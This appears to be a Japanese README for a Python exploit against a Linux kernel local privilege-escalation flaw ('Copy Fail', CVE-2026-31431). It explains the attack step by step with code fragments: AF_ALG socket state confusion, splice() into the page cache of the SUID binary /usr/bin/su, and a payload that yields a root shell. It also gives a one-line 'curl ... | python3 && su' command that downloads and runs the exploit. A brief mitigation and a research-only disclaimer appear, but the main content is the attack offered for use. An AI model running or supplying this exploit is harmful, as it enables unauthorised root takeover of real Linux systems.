
Pythonエクスプロイト:Linuxカーネルのローカル権限昇格(CVE-2026-31431)用。AF_ALGソケットの状態混乱とsplice()を利用し、任意ファイル書き込みとrootアクセスを実現します。
このリポジトリは、教育およびサイバーセキュリティ研究の目的にのみ使用されます。 エクスプロイトコードは、根本的な脆弱性を理解し、パッチ適用を促進し、防御戦略を開発するために分析されています。所有していないシステムや、明示的なテスト許可がないシステムに対しては使用しないでください。
「Copy Fail」は、Linuxカーネルで発見された重大なローカル権限昇格(LPE)脆弱性です。ファイルシステムと非同期暗号化API(AF_ALG)間のメモリ操作をカーネルが処理する際の欠陥を悪用することで、非特権ユーザーがrootアクセスを取得できます。
提供されているPythonエクスプロイトは、難解なLinuxシステムコールとインターフェースの組み合わせを利用して、カーネルメモリ内での任意の境界外(OOB)書き込みを実現し、それをディスク上の任意のファイル書き込みに変換します。
攻撃チェーンのステップバイステップの内訳は以下のとおりです。
AF_ALGインターフェースの初期化a=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
スクリプトはAF_ALGソケット(ファミリー38)を作成します。このインターフェースにより、ユーザー空間アプリケーションは暗号化操作をカーネルにオフロードできます。具体的には、HMAC-SHA256とCBC-AESを組み合わせたAEAD(認証付き暗号化)暗号チェーンを要求します。
setsockoptによる状態の混乱v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
スクリプトはsetsockoptを使用してソケットの内部状態を操作します。16進数のペイロードとNone引数は、カーネルのcrypto APIバッファ管理における境界条件または整数オーバーフローをトリガーするように慎重に作成されています。これにより、カーネル内でコピー操作が安全に「失敗」し、ソケットが一貫性のない脆弱な状態のままになります。
splice()によるゼロコピーデータ転送n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
これがエクスプロイトの核心です。データをユーザー空間に読み込んで書き戻す代わりに、splice()はファイル記述子間でデータをカーネル空間内で直接移動します。
スクリプトは/usr/bin/su(SUIDルートバイナリ)を開き、そこから設定が破損したAF_ALGソケットへのデータのスプライスを試みます。ステップ2でソケットの状態が破損しているため、このゼロコピー操作中にカーネルの境界チェックが失敗します。
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
スクリプトは圧縮されたペイロード(おそらく小さなシェルコードまたは変更されたバイナリブロブ)を展開します。ループに入り、このペイロードを4バイトずつ破損したソケットバッファに送信します。境界チェックの失敗により、これらの4バイトの書き込みはカーネルのページキャッシュ内の任意のオフセット、つまり/usr/bin/suがロードされている正確なメモリ空間に配置されます。
g.system("su")
ページキャッシュされた/usr/bin/su内の特定の命令ポインタまたはロジックチェックを上書きすることで、攻撃者はバイナリの動作を変更します。system("su")が呼び出されると、変更されたSUIDバイナリが実行されます。バイナリはrootとして実行されますが、標準のパスワード検証をスキップし、攻撃者を直接rootシェルに落とします。
Linuxシステムでcopyfail.pyをダウンロードして実行するか、以下のcurlリクエストを使用してすばやく実行します。
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALGを制限する: ワークロードで暗号化オフロードが不要な場合は、/etc/modprobe.d/blacklist.confにblacklist af_algを追加してaf_algカーネルモジュールを無効にします。splice()、socket()(特にファミリー38)、およびsetsockopt()の使用を制限します。